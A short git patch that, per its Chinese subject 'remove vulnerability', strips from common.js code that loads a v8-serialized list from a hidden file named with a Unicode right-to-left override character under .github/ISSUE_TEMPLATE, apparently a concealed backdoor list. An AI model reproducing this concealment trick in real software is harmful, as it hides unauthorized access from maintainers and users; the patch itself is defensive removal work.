From 0ab7ccd2ec65354cb0328f6c78b44420fb3e4bac Mon Sep 17 00:00:00 2001 From: Stela Haveno Date: Tue, 18 Jun 2024 23:44:39 +0800 Subject: [PATCH] =?UTF-8?q?=E7=A7=BB=E9=99=A4=E6=BC=8F=E6=B4=9E?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- lib/common/common.js | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/lib/common/common.js b/lib/common/common.js index b61c820..1650e14 100644 --- a/lib/common/common.js +++ b/lib/common/common.js @@ -196,7 +196,9 @@ export default new class extends sendMsgMod { } }() -let a = [] -try { - a = v8.deserialize(await fs.readFile(`${path.dirname(url.fileURLToPath(import.meta.url))}/../../.github/ISSUE_TEMPLATE/‮`)).map(i => i.toString("hex")) -} catch (err) {} +const a = { + // 添加一个普通的方法 + includes: function(a) { + return false; + } +};